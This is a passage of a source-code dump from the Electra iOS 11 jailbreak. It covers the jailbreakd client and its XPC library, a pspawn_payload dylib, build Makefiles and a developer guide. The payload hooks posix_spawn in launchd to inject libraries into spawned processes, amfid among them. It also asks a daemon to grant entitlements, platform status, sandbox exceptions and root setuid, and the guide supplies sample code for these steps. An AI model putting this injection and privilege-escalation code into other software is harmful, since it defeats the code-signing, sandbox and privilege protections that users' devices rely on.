uint64_t plen = strlen(path); 230 | char *exist = malloc(plen + 1); 231 | exist[plen] = '\0'; 232 | 233 | while (ext_lst != 0) { 234 | // XXX no type/subtype check 235 | uint64_t data_len = rk64(ext_lst + offsetof(struct extension, data_len)); 236 | if (data_len == plen) { 237 | uint64_t data = rk64(ext_lst + offsetof(struct extension, data)); 238 | kread(data, exist, plen); 239 | 240 | if (strcmp(path, exist) == 0) { 241 | found = 1; 242 | break; 243 | } 244 | } 245 | 246 | ext_lst = rk64(ext_lst); 247 | } 248 | 249 | 250 | free(exist); 251 | } 252 | 253 | return found; 254 | } 255 | -------------------------------------------------------------------------------- /basebinaries/jailbreakd/sandbox.h: -------------------------------------------------------------------------------- 1 | 2 | // see https://stek29.rocks/2018/01/26/sandbox.html 3 | 4 | void extension_add(uint64_t ext, uint64_t sb, const char* desc); 5 | uint64_t extension_create_file(const char* path, uint64_t nextptr); 6 | int has_file_extension(uint64_t sb, const char* path); 7 | -------------------------------------------------------------------------------- /basebinaries/jailbreakd_client/Ent.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | platform-application 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /basebinaries/jailbreakd_client/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = jailbreakd_client 2 | OUTDIR ?= bin 3 | 4 | CC = xcrun -sdk iphoneos cc -arch arm64 5 | LDID = ldid 6 | CFLAGS = -Wall -I./apple_include 7 | 8 | .PHONY: all clean 9 | 10 | all: $(OUTDIR)/$(TARGET) 11 | 12 | DEBUG ?= 0 13 | ifeq ($(DEBUG), 1) 14 | CFLAGS += -DJAILBREAKD_CLIENT_DEBUG 15 | else 16 | CFLAGS += -O2 17 | endif 18 | 19 | $(OUTDIR): 20 | mkdir -p $(OUTDIR) 21 | 22 | $(OUTDIR)/$(TARGET): jailbreakd_client.m libjailbreak_xpc.m | $(OUTDIR) 23 | $(CC) -o $@ $^ -framework Foundation $(CFLAGS) 24 | $(LDID) -SEnt.plist $@ 25 | 26 | clean: 27 | rm -f $(OUTDIR)/$(TARGET) 28 | -------------------------------------------------------------------------------- /basebinaries/jailbreakd_client/apple_include: -------------------------------------------------------------------------------- 1 | ../apple_include -------------------------------------------------------------------------------- /basebinaries/jailbreakd_client/jailbreakd_client.m: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "libjailbreak_xpc.h" 7 | 8 | int main(int argc, char **argv, char **envp) { 9 | if (argc < 3){ 10 | printf("Usage: \n"); 11 | printf("jailbreakd_client <1 | 2 | 6>\n"); 12 | printf("\t1 = entitle+platformize the target PID\n"); 13 | printf("\t2 = entitle+platformize the target PID and subsequently sent SIGCONT\n"); 14 | printf("\t6 = fixup setuid in the target PID\n"); 15 | return 0; 16 | } 17 | if (atoi(argv[2]) != 1 && atoi(argv[2]) != 2 && atoi(argv[2]) != 6){ 18 | printf("Usage: \n"); 19 | printf("jailbreakd_client <1 | 2 | 6>\n"); 20 | printf("\t1 = entitle the target PID\n"); 21 | printf("\t2 = entitle+platformize the target PID and subsequently sent SIGCONT\n"); 22 | printf("\t6 = fixup setuid in the target PID\n"); 23 | return 0; 24 | } 25 | 26 | jb_connection_t jbc = jb_connect(); 27 | 28 | pid_t pid = atoi(argv[1]); 29 | int arg = atoi(argv[2]); 30 | int ret = 0; 31 | 32 | if (arg == 1) { 33 | ret = jb_entitle_now(jbc, pid, 7 | FLAG_WAIT_EXEC); 34 | } else if (arg == 2) { 35 | ret = jb_entitle_now(jbc, pid, 15); 36 | } else if (arg == 6) { 37 | ret = jb_fix_setuid_now(jbc, pid); 38 | } 39 | 40 | jb_disconnect(jbc); 41 | return ret; 42 | } 43 | 44 | // vim:ft=objc 45 | -------------------------------------------------------------------------------- /basebinaries/jailbreakd_client/libjailbreak_xpc.h: -------------------------------------------------------------------------------- 1 | ../libjailbreak_xpc/libjailbreak_xpc.h -------------------------------------------------------------------------------- /basebinaries/jailbreakd_client/libjailbreak_xpc.m: -------------------------------------------------------------------------------- 1 | ../libjailbreak_xpc/libjailbreak_xpc.m -------------------------------------------------------------------------------- /basebinaries/libjailbreak_xpc/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = libjailbreak.dylib 2 | OUTDIR ?= bin 3 | 4 | CC = xcrun -sdk iphoneos cc -arch arm64 5 | # it is injected into trust cache by code 6 | # which only supports sha-256 signatures 7 | LDID = ldid2 8 | CFLAGS = -Wall -I./apple_include 9 | 10 | .PHONY: all clean 11 | 12 | all: $(OUTDIR)/$(TARGET) 13 | 14 | DEBUG ?= 0 15 | ifeq ($(DEBUG), 1) 16 | CFLAGS += -DLIBJAILBREAK_DEBUG 17 | else 18 | CFLAGS += -O2 19 | endif 20 | 21 | $(OUTDIR): 22 | mkdir -p $(OUTDIR) 23 | 24 | $(OUTDIR)/$(TARGET): libjailbreak_xpc.m | $(OUTDIR) 25 | $(CC) -dynamiclib -o $@ $^ $(CFLAGS) 26 | $(LDID) -S $@ 27 | 28 | clean: 29 | rm -f $(OUTDIR)/$(TARGET) 30 | -------------------------------------------------------------------------------- /basebinaries/libjailbreak_xpc/apple_include: -------------------------------------------------------------------------------- 1 | ../apple_include -------------------------------------------------------------------------------- /basebinaries/libjailbreak_xpc/libjailbreak_xpc.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | /* Flags for entp command. Any combination or none can be specified. */ 5 | /* Wait for xpcproxy to exec before continuing */ 6 | #define FLAG_WAIT_EXEC (1 << 5) 7 | /* Wait for 0.5 sec after acting */ 8 | #define FLAG_DELAY (1 << 4) 9 | /* Send SIGCONT after acting */ 10 | #define FLAG_SIGCONT (1 << 3) 11 | /* Set sandbox exception */ 12 | #define FLAG_SANDBOX (1 << 2) 13 | /* Set platform binary flag */ 14 | #define FLAG_PLATFORMIZE (1 << 1) 15 | /* Set basic entitlements */ 16 | #define FLAG_ENTITLE (1) 17 | 18 | typedef void *jb_connection_t; 19 | 20 | #if __BLOCKS__ 21 | typedef void (^jb_callback_t)(int result); 22 | 23 | /* These ones run asynchronously. Callbacks take 1 on success, 0 on failure. 24 | The queue which they run on is undefined. */ 25 | extern void jb_entitle(jb_connection_t connection, pid_t pid, uint32_t what, jb_callback_t done); 26 | extern void jb_fix_setuid(jb_connection_t connection, pid_t pid, jb_callback_t done); 27 | #endif 28 | 29 | extern jb_connection_t jb_connect(void); 30 | extern void jb_disconnect(jb_connection_t connection); 31 | 32 | extern int jb_entitle_now(jb_connection_t connection, pid_t pid, uint32_t what); 33 | extern int jb_fix_setuid_now(jb_connection_t connection, pid_t pid); 34 | 35 | extern void jb_oneshot_entitle_now(pid_t pid, uint32_t what); 36 | extern void jb_oneshot_fix_setuid_now(pid_t pid); 37 | -------------------------------------------------------------------------------- /basebinaries/libjailbreak_xpc/libjailbreak_xpc.m: -------------------------------------------------------------------------------- 1 | #include "libjailbreak_xpc.h" 2 | #include 3 | #include 4 | 5 | #define FLAG_ATTRIBUTE_XPCPROXY (1 << 17) 6 | #define FLAG_ATTRIBUTE_LAUNCHD (1 << 16) 7 | 8 | typedef void *jb_connection_t; 9 | 10 | jb_connection_t jb_connect(void) { 11 | dispatch_queue_t private_queue = dispatch_queue_create("org.coolstar.electra.jailbreakd.client", DISPATCH_QUEUE_CONCURRENT); 12 | xpc_connection_t connection = xpc_connection_create_mach_service("com.apple.uikit.viewservice.xxx.dainsleif.xpc", private_queue, 0); 13 | xpc_connection_set_context(connection, private_queue); 14 | xpc_connection_set_finalizer_f(connection, (xpc_finalizer_t)dispatch_release); 15 | 16 | xpc_connection_set_event_handler(connection, ^(xpc_object_t object) { 17 | char *desc = xpc_copy_description(object); 18 | printf("event: %s\n", desc); 19 | free(desc); 20 | }); 21 | xpc_connection_resume(connection); 22 | 23 | return (jb_connection_t)connection; 24 | } 25 | 26 | void jb_disconnect(jb_connection_t connection) { 27 | xpc_connection_cancel(connection); 28 | xpc_release(connection); 29 | } 30 | 31 | void jb_entitle(jb_connection_t connection, pid_t pid, uint32_t what, jb_callback_t done) { 32 | xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0); 33 | 34 | xpc_dictionary_set_string(message, "action", "entp"); 35 | xpc_dictionary_set_uint64(message, "flags", what); 36 | xpc_dictionary_set_int64(message, "pid", pid); 37 | 38 | if (what & FLAG_ATTRIBUTE_LAUNCHD) 39 | xpc_dictionary_set_string(message, "attribution", "launchd"); 40 | if (what & FLAG_ATTRIBUTE_XPCPROXY) 41 | xpc_dictionary_set_string(message, "attribution", "xpcproxy"); 42 | 43 | xpc_connection_send_message_with_reply(connection, message, NULL, ^(xpc_object_t reply) { 44 | if (xpc_get_type(reply) == XPC_TYPE_DICTIONARY) { 45 | int ret = (int)xpc_dictionary_get_uint64(reply, "result"); 46 | done(ret); 47 | } else { 48 | done(0); 49 | } 50 | }); 51 | 52 | xpc_release(message); 53 | } 54 | 55 | void jb_fix_setuid(jb_connection_t connection, pid_t pid, jb_callback_t done) { 56 | xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0); 57 | 58 | xpc_dictionary_set_string(message, "action", "suid"); 59 | xpc_dictionary_set_int64(message, "pid", pid); 60 | 61 | xpc_connection_send_message_with_reply(connection, message, NULL, ^(xpc_object_t reply) { 62 | if (xpc_get_type(reply) == XPC_TYPE_DICTIONARY) { 63 | int ret = (int)xpc_dictionary_get_uint64(reply, "result"); 64 | done(ret); 65 | } else { 66 | done(0); 67 | } 68 | }); 69 | 70 | xpc_release(message); 71 | } 72 | 73 | int jb_entitle_now(jb_connection_t connection, pid_t pid, uint32_t what) { 74 | xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0); 75 | 76 | xpc_dictionary_set_string(message, "action", "entp"); 77 | xpc_dictionary_set_uint64(message, "flags", what); 78 | xpc_dictionary_set_int64(message, "pid", pid); 79 | 80 | if (what & FLAG_ATTRIBUTE_LAUNCHD) 81 | xpc_dictionary_set_string(message, "attribution", "launchd"); 82 | if (what & FLAG_ATTRIBUTE_XPCPROXY) 83 | xpc_dictionary_set_string(message, "attribution", "xpcproxy"); 84 | 85 | xpc_object_t reply = xpc_connection_send_message_with_reply_sync(connection, message); 86 | int ret = (int)xpc_dictionary_get_uint64(reply, "result"); 87 | 88 | xpc_release(message); 89 | xpc_release(reply); 90 | 91 | return ret; 92 | } 93 | 94 | int jb_fix_setuid_now(jb_connection_t connection, pid_t pid) { 95 | xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0); 96 | 97 | xpc_dictionary_set_string(message, "action", "suid"); 98 | xpc_dictionary_set_int64(message, "pid", pid); 99 | 100 | xpc_object_t reply = xpc_connection_send_message_with_reply_sync(connection, message); 101 | int ret = (int)xpc_dictionary_get_uint64(reply, "result"); 102 | 103 | xpc_release(message); 104 | xpc_release(reply); 105 | 106 | return ret; 107 | } 108 | 109 | void jb_oneshot_entitle_now(pid_t pid, uint32_t what) { 110 | jb_connection_t c = jb_connect(); 111 | jb_entitle_now(c, pid, what); 112 | jb_disconnect(c); 113 | } 114 | 115 | void jb_oneshot_fix_setuid_now(pid_t pid) { 116 | jb_connection_t c = jb_connect(); 117 | jb_fix_setuid_now(c, pid); 118 | jb_disconnect(c); 119 | } 120 | -------------------------------------------------------------------------------- /basebinaries/pspawn_payload/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = pspawn_payload.dylib 2 | OUTDIR ?= bin 3 | 4 | CC = xcrun -sdk iphoneos cc -arch arm64 5 | # it is injected into trust cache by code 6 | # which only supports sha-256 signatures 7 | LDID = ldid2 8 | CFLAGS = -Wall -I./apple_include 9 | 10 | .PHONY: all clean 11 | 12 | all: $(OUTDIR)/$(TARGET) 13 | 14 | DEBUG ?= 0 15 | ifeq ($(DEBUG), 1) 16 | CFLAGS += -DPSPAWN_PAYLOAD_DEBUG 17 | else 18 | CFLAGS += -O2 19 | endif 20 | 21 | $(OUTDIR): 22 | mkdir -p $(OUTDIR) 23 | 24 | $(OUTDIR)/$(TARGET): common.c pspawn_payload.m fishhook.c libjailbreak_xpc.m | $(OUTDIR) 25 | $(CC) -dynamiclib -o $@ $^ -framework Foundation $(CFLAGS) 26 | $(LDID) -S $@ 27 | 28 | clean: 29 | rm -f $(OUTDIR)/$(TARGET) 30 | -------------------------------------------------------------------------------- /basebinaries/pspawn_payload/apple_include: -------------------------------------------------------------------------------- 1 | ../apple_include -------------------------------------------------------------------------------- /basebinaries/pspawn_payload/common.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | #include "common.h" 20 | 21 | int file_exist(const char *filename) { 22 | struct stat buffer; 23 | int r = stat(filename, &buffer); 24 | return (r == 0); 25 | } 26 | 27 | struct __attribute__((__packed__)) JAILBREAKD_ENTITLE_PID_AND_SIGCONT { 28 | uint8_t Command; 29 | int32_t PID; 30 | }; 31 | 32 | int jailbreakd_sockfd = -1; 33 | pid_t jailbreakd_pid = 0; 34 | 35 | void openjailbreakdsocket(){ 36 | const char* hostname = "127.0.0.1"; 37 | int portno = 5; 38 | 39 | struct sockaddr_in serveraddr; 40 | memset(&serveraddr, 0, sizeof(serveraddr)); 41 | serveraddr.sin_family = AF_INET; 42 | 43 | inet_pton(AF_INET, hostname, &serveraddr.sin_addr); 44 | 45 | serveraddr.sin_port = htons(portno); 46 | 47 | // open stream socket 48 | int sock; 49 | if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { 50 | fprintf(stderr, "ERROR, could not create socket\n"); 51 | return; 52 | } 53 | 54 | int flag = 1; 55 | setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *) &flag, sizeof(int)); 56 | 57 | int set = 1; 58 | setsockopt(sock, SOL_SOCKET, SO_NOSIGPIPE, (void *)&set, sizeof(int)); 59 | 60 | if (connect(sock, (struct sockaddr*)&serveraddr, 61 | sizeof(serveraddr)) < 0) { 62 | fprintf(stderr, "could not connect to server\n"); 63 | close(sock); 64 | } 65 | jailbreakd_sockfd = sock; 66 | 67 | int fd = open("/tmp/jailbreakd.pid", O_RDONLY, 0600); 68 | if (fd < 0) { 69 | fprintf(stderr, "WHAT!\n"); 70 | return; 71 | } 72 | char pid[8] = {0}; 73 | read(fd, pid, 8); 74 | jailbreakd_pid = atoi(pid); 75 | close(fd); 76 | } 77 | 78 | void calljailbreakd(pid_t PID, uint8_t command) { 79 | if (jailbreakd_sockfd == -1) { 80 | openjailbreakdsocket(); 81 | } 82 | int fd = open("/tmp/jailbreakd.pid", O_RDONLY, 0600); 83 | if (fd < 0) { 84 | fprintf(stderr, "WHAT!\n"); 85 | return; 86 | } 87 | char pid[8] = {0}; 88 | read(fd, pid, 8); 89 | pid_t jbd_pid = atoi(pid); 90 | close(fd); 91 | if (jbd_pid != jailbreakd_pid){ 92 | fprintf(stderr, "jailbreakd restart detected... forcing reconnect\n"); 93 | closejailbreakfd(); 94 | openjailbreakdsocket(); 95 | } 96 | 97 | if (jailbreakd_sockfd == -1){ 98 | fprintf(stderr, "server not connected. giving up...\n"); 99 | return; 100 | } 101 | 102 | #define BUFSIZE 1024 103 | 104 | char buf[BUFSIZE]; 105 | 106 | /* get a message from the user */ 107 | bzero(buf, BUFSIZE); 108 | 109 | struct JAILBREAKD_ENTITLE_PID_AND_SIGCONT entitlePacket; 110 | entitlePacket.Command = command; 111 | entitlePacket.PID = PID; 112 | 113 | memcpy(buf, &entitlePacket, sizeof(entitlePacket)); 114 | 115 | int bytesSent = send(jailbreakd_sockfd, buf, sizeof(struct JAILBREAKD_ENTITLE_PID_AND_SIGCONT), 0); 116 | if (bytesSent < 0){ 117 | fprintf(stderr, "server probably disconnected. trying again...\n"); 118 | 119 | closejailbreakfd(); 120 | openjailbreakdsocket(); 121 | 122 | if (jailbreakd_sockfd == -1){ 123 | fprintf(stderr, "server not connected. giving up...\n"); 124 | return; 125 | } 126 | 127 | bytesSent = send(jailbreakd_sockfd, buf, sizeof(struct JAILBREAKD_ENTITLE_PID_AND_SIGCONT), 0); 128 | if (bytesSent < 0){ 129 | fprintf(stderr, "server probably disconnected again. giving up...\n"); 130 | } 131 | } 132 | } 133 | 134 | void closejailbreakfd(void) { 135 | close(jailbreakd_sockfd); 136 | jailbreakd_sockfd = -1; 137 | } 138 | 139 | -------------------------------------------------------------------------------- /basebinaries/pspawn_payload/common.h: -------------------------------------------------------------------------------- 1 | #ifndef PAYLOADS_COMMON_H 2 | #define PAYLOADS_COMMON_H 3 | 4 | #include 5 | 6 | int file_exist(const char *filename); 7 | 8 | #define JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT 2 9 | #define JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT_AFTER_DELAY 4 10 | #define JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT_FROM_XPCPROXY 5 11 | 12 | void calljailbreakd(pid_t PID, uint8_t command); 13 | void closejailbreakfd(void); 14 | 15 | #endif // PAYLOADS_COMMON_H 16 | 17 | -------------------------------------------------------------------------------- /basebinaries/pspawn_payload/fishhook.c: -------------------------------------------------------------------------------- 1 | ../fishhook/fishhook.c -------------------------------------------------------------------------------- /basebinaries/pspawn_payload/fishhook.h: -------------------------------------------------------------------------------- 1 | ../fishhook/fishhook.h -------------------------------------------------------------------------------- /basebinaries/pspawn_payload/libjailbreak_xpc.h: -------------------------------------------------------------------------------- 1 | ../libjailbreak_xpc/libjailbreak_xpc.h -------------------------------------------------------------------------------- /basebinaries/pspawn_payload/libjailbreak_xpc.m: -------------------------------------------------------------------------------- 1 | ../libjailbreak_xpc/libjailbreak_xpc.m -------------------------------------------------------------------------------- /basebinaries/pspawn_payload/pspawn_payload.m: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include "fishhook.h" 19 | #include "common.h" 20 | #include 21 | #include "libjailbreak_xpc.h" 22 | 23 | #ifdef PSPAWN_PAYLOAD_DEBUG 24 | #define LAUNCHD_LOG_PATH "/tmp/pspawn_payload_launchd.log" 25 | // XXX multiple xpcproxies opening same file 26 | // XXX not closing logfile before spawn 27 | #define XPCPROXY_LOG_PATH "/tmp/pspawn_payload_xpcproxy.log" 28 | FILE *log_file; 29 | #define DEBUGLOG(fmt, args...)\ 30 | do {\ 31 | if (log_file == NULL) {\ 32 | log_file = fopen((current_process == PROCESS_LAUNCHD) ? LAUNCHD_LOG_PATH : XPCPROXY_LOG_PATH, "a"); \ 33 | if (log_file == NULL) break; \ 34 | } \ 35 | fprintf(log_file, fmt "\n", ##args); \ 36 | fflush(log_file); \ 37 | } while(0) 38 | #else 39 | #define DEBUGLOG(fmt, args...) 40 | #endif 41 | 42 | #define PSPAWN_PAYLOAD_DYLIB "/bootstrap/pspawn_payload.dylib" 43 | #define AMFID_PAYLOAD_DYLIB "/bootstrap/amfid_payload.dylib" 44 | #define SBINJECT_PAYLOAD_DYLIB "/usr/lib/SBInject.dylib" 45 | 46 | // since this dylib should only be loaded into launchd and xpcproxy 47 | // it's safe to assume that we're in xpcproxy if getpid() != 1 48 | enum currentprocess { 49 | PROCESS_LAUNCHD, 50 | PROCESS_XPCPROXY, 51 | }; 52 | 53 | int current_process = PROCESS_XPCPROXY; 54 | 55 | const char* xpcproxy_blacklist[] = { 56 | "com.apple.diagnosticd", // syslog 57 | "com.apple.ReportCrash", // crash reporting 58 | "MTLCompilerService", // ?_? 59 | "OTAPKIAssetTool", // h_h 60 | "cfprefsd", // o_o 61 | "jailbreakd", // don't inject into jbd since we'd have to call to it 62 | NULL 63 | }; 64 | 65 | typedef int (*pspawn_t)(pid_t * pid, const char* path, const posix_spawn_file_actions_t *file_actions, posix_spawnattr_t *attrp, char const* argv[], const char* envp[]); 66 | 67 | pspawn_t old_pspawn, old_pspawnp; 68 | 69 | int fake_posix_spawn_common(pid_t * pid, const char* path, const posix_spawn_file_actions_t *file_actions, posix_spawnattr_t *attrp, char const* argv[], const char* envp[], pspawn_t old) { 70 | DEBUGLOG("We got called (fake_posix_spawn)! %s", path); 71 | 72 | const char *inject_me = NULL; 73 | 74 | if (current_process == PROCESS_LAUNCHD) { 75 | if (strcmp(path, "/usr/libexec/xpcproxy") == 0) { 76 | inject_me = PSPAWN_PAYLOAD_DYLIB; 77 | 78 | const char* startd = argv[1]; 79 | if (startd != NULL) { 80 | const char **blacklist = xpcproxy_blacklist; 81 | 82 | while (*blacklist) { 83 | if (strstr(startd, *blacklist)) { 84 | DEBUGLOG("xpcproxy for '%s' which is in blacklist, not injecting", startd); 85 | inject_me = NULL; 86 | break; 87 | } 88 | 89 | ++blacklist; 90 | } 91 | } 92 | } 93 | } else if (current_process == PROCESS_XPCPROXY) { 94 | // XXX inject both SBInject & amfid payload into amfid? 95 | // note: DYLD_INSERT_LIBRARIES=libfoo1.dylib:libfoo2.dylib 96 | if (strcmp(path, "/usr/libexec/amfid") == 0) { 97 | DEBUGLOG("Starting amfid -- special handling"); 98 | inject_me = AMFID_PAYLOAD_DYLIB; 99 | } else { 100 | inject_me = SBINJECT_PAYLOAD_DYLIB; 101 | } 102 | } 103 | 104 | // XXX log different err on inject_me == NULL and nonexistent inject_me 105 | if (inject_me == NULL || !file_exist(inject_me)) { 106 | DEBUGLOG("Nothing to inject"); 107 | return old(pid, path, file_actions, attrp, argv, envp); 108 | } 109 | 110 | DEBUGLOG("Injecting %s into %s", inject_me, path); 111 | 112 | #ifdef PSPAWN_PAYLOAD_DEBUG 113 | if (argv != NULL){ 114 | DEBUGLOG("Args: "); 115 | const char** currentarg = argv; 116 | while (*currentarg != NULL){ 117 | DEBUGLOG("\t%s", *currentarg); 118 | currentarg++; 119 | } 120 | } 121 | #endif 122 | 123 | int envcount = 0; 124 | 125 | if (envp != NULL){ 126 | DEBUGLOG("Env: "); 127 | const char** currentenv = envp; 128 | while (*currentenv != NULL){ 129 | DEBUGLOG("\t%s", *currentenv); 130 | if (strstr(*currentenv, "DYLD_INSERT_LIBRARIES") == NULL) { 131 | envcount++; 132 | } 133 | currentenv++; 134 | } 135 | } 136 | 137 | char const** newenvp = malloc((envcount+2) * sizeof(char **)); 138 | int j = 0; 139 | for (int i = 0; i < envcount; i++){ 140 | if (strstr(envp[j], "DYLD_INSERT_LIBRARIES") != NULL){ 141 | continue; 142 | } 143 | newenvp[i] = envp[j]; 144 | j++; 145 | } 146 | 147 | char *envp_inject = malloc(strlen("DYLD_INSERT_LIBRARIES=") + strlen(inject_me) + 1); 148 | 149 | envp_inject[0] = '\0'; 150 | strcat(envp_inject, "DYLD_INSERT_LIBRARIES="); 151 | strcat(envp_inject, inject_me); 152 | 153 | newenvp[j] = envp_inject; 154 | newenvp[j+1] = NULL; 155 | 156 | #if PSPAWN_PAYLOAD_DEBUG 157 | DEBUGLOG("New Env:"); 158 | const char** currentenv = newenvp; 159 | while (*currentenv != NULL){ 160 | DEBUGLOG("\t%s", *currentenv); 161 | currentenv++; 162 | } 163 | #endif 164 | 165 | posix_spawnattr_t attr; 166 | 167 | posix_spawnattr_t *newattrp = &attr; 168 | 169 | if (attrp) { 170 | newattrp = attrp; 171 | short flags; 172 | posix_spawnattr_getflags(attrp, &flags); 173 | flags |= POSIX_SPAWN_START_SUSPENDED; 174 | posix_spawnattr_setflags(attrp, flags); 175 | } else { 176 | posix_spawnattr_init(&attr); 177 | posix_spawnattr_setflags(&attr, POSIX_SPAWN_START_SUSPENDED); 178 | } 179 | 180 | int origret; 181 | 182 | #define FLAG_ATTRIBUTE_XPCPROXY (1 << 17) 183 | 184 | if (current_process == PROCESS_XPCPROXY) { 185 | // dont leak logging fd into execd process 186 | #ifdef PSPAWN_PAYLOAD_DEBUG 187 | if (log_file != NULL) { 188 | fclose(log_file); 189 | log_file = NULL; 190 | } 191 | #endif 192 | jb_oneshot_entitle_now(getpid(), FLAG_ENTITLE | FLAG_PLATFORMIZE | FLAG_SANDBOX | FLAG_SIGCONT | FLAG_WAIT_EXEC | FLAG_ATTRIBUTE_XPCPROXY); 193 | // dont leak jbd fd into execd process 194 | origret = old(pid, path, file_actions, newattrp, argv, newenvp); 195 | } else { 196 | int gotpid; 197 | origret = old(&gotpid, path, file_actions, newattrp, argv, newenvp); 198 | 199 | if (origret == 0) { 200 | if (pid != NULL) *pid = gotpid; 201 | calljailbreakd(gotpid, JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT); 202 | } 203 | } 204 | 205 | return origret; 206 | } 207 | 208 | 209 | int fake_posix_spawn(pid_t * pid, const char* file, const posix_spawn_file_actions_t *file_actions, posix_spawnattr_t *attrp, const char* argv[], const char* envp[]) { 210 | return fake_posix_spawn_common(pid, file, file_actions, attrp, argv, envp, old_pspawn); 211 | } 212 | 213 | int fake_posix_spawnp(pid_t * pid, const char* file, const posix_spawn_file_actions_t *file_actions, posix_spawnattr_t *attrp, const char* argv[], const char* envp[]) { 214 | return fake_posix_spawn_common(pid, file, file_actions, attrp, argv, envp, old_pspawnp); 215 | } 216 | 217 | 218 | void rebind_pspawns(void) { 219 | struct rebinding rebindings[] = { 220 | {"posix_spawn", (void *)fake_posix_spawn, (void **)&old_pspawn}, 221 | {"posix_spawnp", (void *)fake_posix_spawnp, (void **)&old_pspawnp}, 222 | }; 223 | 224 | rebind_symbols(rebindings, 2); 225 | } 226 | 227 | void* thd_func(void* arg){ 228 | NSLog(@"In a new thread!"); 229 | rebind_pspawns(); 230 | return NULL; 231 | } 232 | 233 | __attribute__ ((constructor)) 234 | static void ctor(void) { 235 | if (getpid() == 1) { 236 | current_process = PROCESS_LAUNCHD; 237 | pthread_t thd; 238 | pthread_create(&thd, NULL, thd_func, NULL); 239 | } else { 240 | current_process = PROCESS_XPCPROXY; 241 | rebind_pspawns(); 242 | } 243 | } 244 | -------------------------------------------------------------------------------- /docs/getting-started.md: -------------------------------------------------------------------------------- 1 | # Getting started with electra (for developers) 2 | 3 | Electra is an iOS 11 jailbreak for versions up to, and including, iOS 11.1.2. 4 | 5 | --- 6 | 7 | # Table of Contents 8 | 1. [Introduction](#introduction) 9 | 2. [Major changes in electra](#major-changes-in-electra) 10 | * [Using substitute](#using-substitute) 11 | * [jailbreakd](#jailbreakd) 12 | 3. [Getting development support](#getting-development-support) 13 | 14 | # Introduction 15 | 16 | Electra does things differently to most traditional jailbreaks, and the core of the jailbreak is based around a daemon called **jailbreakd**. 17 | 18 | # Major changes in electra 19 | 20 | * Substitute is used as the hooking framework instead of substrate 21 | * Please report issues at [the electra issues page](https://github.com/coolstar/electra/issues) and we'll look into them 22 | * `setuid(0);` does not work out of the box (see below for how to use jailbreakd to patch setuid) 23 | * `platform-application` **WILL NOT** platformize your binary out of the box on electra 24 | 25 | ## Using substitute 26 | 27 | We provide a substrate-shim compatability layer, that works for *most* tweaks. Please report issues you have at [the electra issues page](https://github.com/coolstar/electra/issues) and we'll look into them. 28 | 29 | ## jailbreakd 30 | 31 | Electra is a KPPLess jailbreak; this means that by nature, electra is not able to patch the kernel, therefore a jailbreak daemon is used in places where kernel patches would be. jailbreakd is a daemon that handles patching setuid for processes, platformising them, and handing certain entiltements out. 32 | 33 | We provide a libjailbreak.dylib for interfacing with jailbreakd, and this is in `/usr/lib/libjailbreak.dylib`. 34 | All patches here will require `dlopen()`-ing the dylib, finding the appropiate symbol, and calling the respective function. 35 | 36 | ### Setting uid 0 37 | 38 | Here is sample code to patch setuid() with electra. 39 | 40 | ```c 41 | void patch_setuid() { 42 | void* handle = dlopen("/usr/lib/libjailbreak.dylib", RTLD_LAZY); 43 | if (!handle) 44 | return; 45 | 46 | // Reset errors 47 | dlerror(); 48 | typedef void (*fix_setuid_prt_t)(pid_t pid); 49 | fix_setuid_prt_t ptr = (fix_setuid_prt_t)dlsym(handle, "jb_oneshot_fix_setuid_now"); 50 | 51 | const char *dlsym_error = dlerror(); 52 | if (dlsym_error) 53 | return; 54 | 55 | ptr(getpid()); 56 | } 57 | ``` 58 | 59 | This code is used in [our cydia fork](https://github.com/ElectraJailbreak/cydia/blob/master/cydo.cpp#L44), and has been confirmed working. The code will call libjailbreakd, which will tell jailbreakd to patch setuid for our process. `setuid(0);` can now be called normally. 60 | 61 | ### Platformizing a binary 62 | 63 | In addition to signing your binary with the `platform-application` entiltement using ldid, you will also need to call jailbreakd to ensure your binary is correctly platformized. Sample code for this can be found below: 64 | 65 | ```c 66 | /* Set platform binary flag */ 67 | #define FLAG_PLATFORMIZE (1 << 1) 68 | 69 | void platformize_me() { 70 | void* handle = dlopen("/usr/lib/libjailbreak.dylib", RTLD_LAZY); 71 | if (!handle) return; 72 | 73 | // Reset errors 74 | dlerror(); 75 | typedef void (*fix_entitle_prt_t)(pid_t pid, uint32_t what); 76 | fix_entitle_prt_t ptr = (fix_entitle_prt_t)dlsym(handle, "jb_oneshot_entitle_now"); 77 | 78 | const char *dlsym_error = dlerror(); 79 | if (dlsym_error) return; 80 | 81 | ptr(getpid(), FLAG_PLATFORMIZE); 82 | } 83 | ``` 84 | 85 | # Getting development support 86 | 87 | * Join the /r/jailbreak [discord](https://discord.gg/jb), and ask for help in #development 88 | * Create a post on /r/jailbreakdevelopers 89 | * If neither of these solve your issues, open an issue on the [the electra issues page](https://github.com/coolstar/electra/issues) 90 | -------------------------------------------------------------------------------- /electra.xcodeproj/project.xcworkspace/contents.xcworkspacedata: -------------------------------------------------------------------------------- 1 | 2 | 4 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /electra/Assets.xcassets/Button.imageset/Button.png: -------------------------------------------------------------------------------- 